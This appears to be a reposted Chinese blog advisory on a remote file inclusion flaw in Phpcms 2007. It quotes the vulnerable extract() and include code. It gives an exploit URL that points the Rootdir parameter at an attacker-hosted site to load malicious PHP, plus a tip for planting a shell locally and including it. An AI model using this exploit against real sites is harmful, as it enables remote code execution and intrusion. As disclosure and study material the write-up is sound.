zoukankan      html  css  js  c++  java
  • Phpcms 2007 远程文件包含漏洞

    cms的核心配置文件/include/common.inc.php有缺陷
    --------------------------------------------
    //23行开始
    @extract($_POST, EXTR_OVERWRITE);
    @extract($_GET, EXTR_OVERWRITE);
    unset($_POST, $_GET);
    ------------------------------------------------
    这里extract函数会导致变量覆盖,可能引发一系列的问题

    我们看/yp/admin.php,这个文件名字是挺吓人的,还带admin。但是注册个企业用户就可以访问该页面了,我们看部分代码
    ------------------------------------------------
    //从头开始看
    $rootdir = str_replace("\\", '/', dirname(__FILE__));
    require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
    require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';
    if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);
    require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含
    ------------------------------------------------

    利用的方式可以先在你的网站 site.com上放置/web/admin/include/common.inc.php这样的目录和文件,当然common.inc.php就是你的恶意代码,然后注册个用户访问网站并提交
    http://target.com/yp/admin.php? Rootdir=http://site.com/即可。


    最后多说一句,php5默认不开启远程文件功能,如果想包含本地文件又要被gpc限制,所以看上去这个漏洞挺鸡肋的。不过qiuren同学提供了一个不错的方法,可以旁注一个shell写/web/admin/include/common.inc.php到/temp目录然后包含之
  • 相关阅读:
    SQL Server 2005 Beta 2 快照隔离 zt
    WP7基础学习第九讲
    WP7基础学习第七讲
    WP7基础学习第二讲
    如何对HttpWebRequest异步调用?
    WP7基础学习第五讲
    如何对HttpWebRequest和HttpWebRsponse异步调用?
    WP7基础学习第六讲
    WP7基础学习第一讲
    [收藏学习]gcc和g++
  • 原文地址:https://www.cnblogs.com/Safe3/p/1241729.html
Copyright © 2011-2022 走看看